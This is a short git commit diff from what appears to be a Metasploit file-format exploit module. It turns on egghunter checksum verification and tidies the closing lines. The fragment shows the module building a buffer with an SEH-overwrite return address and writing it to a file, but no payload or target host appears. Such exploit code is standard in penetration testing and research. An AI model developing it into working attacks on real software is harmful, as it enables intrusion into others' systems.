Verify checksum to avoid jumping to a corrupt payload
parent
ae7c2acf9d
commit
bce6c9abcf
|
@ -68,10 +68,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
|
||||||
eggoptions =
|
eggoptions =
|
||||||
{
|
{
|
||||||
:checksum => false,
|
:checksum => true,
|
||||||
:eggtag => 'w00t'
|
:eggtag => 'w00t'
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -85,8 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
buffer << [target.ret].pack('V') # seh
|
buffer << [target.ret].pack('V') # seh
|
||||||
|
|
||||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||||
|
|
||||||
file_create(buffer)
|
file_create(buffer)
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
|
Loading…
Reference in New Issue